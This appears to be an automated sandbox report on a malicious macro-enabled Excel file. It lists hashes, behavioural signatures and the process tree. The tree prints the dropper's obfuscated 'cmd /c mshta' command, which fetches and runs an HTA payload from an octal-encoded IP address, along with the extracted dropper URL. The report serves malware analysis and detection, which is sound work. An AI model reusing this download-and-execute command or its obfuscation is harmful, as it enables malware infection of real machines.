Analysis

  • max time kernel
    111s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220331-en
  • submitted
    11-04-2022 03:10

General

  • Target

    ?i=1bajcdmzi.xlsm

  • Size

    110KB

  • MD5

    a3c1eee45b2ee65f5f0fda091c3b9bfe

  • SHA1

    1bd37dfba56924ab73ce9f6da17a946715b6a76a

  • SHA256

    e95a1d9f8651d516e59ddffadc5fd94a499b888077d6cc60ee5cc1b95c1f91e7

  • SHA512

    ec072cf278b55e4b5e283ebb49aacf924cda7e83a2004c84264a4b1d47b3fb280b6313740fd77df2ac59f007a8f4535f5219a010b1d02a7dd1718f39eca3359e

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://46.105.81.76/c.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_i=1bajcdmzi.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1076
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1536
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0056.0151.0121.0114/c.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:852

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/852-59-0x0000000000000000-mapping.dmp

  • memory/852-60-0x00000000755F1000-0x00000000755F3000-memory.dmp

    Filesize

    8KB

  • memory/1076-54-0x000000002F321000-0x000000002F324000-memory.dmp

    Filesize

    12KB

  • memory/1076-55-0x00000000719C1000-0x00000000719C3000-memory.dmp

    Filesize

    8KB

  • memory/1076-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1076-57-0x00000000729AD000-0x00000000729B8000-memory.dmp

    Filesize

    44KB

  • memory/1076-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1536-58-0x0000000000000000-mapping.dmp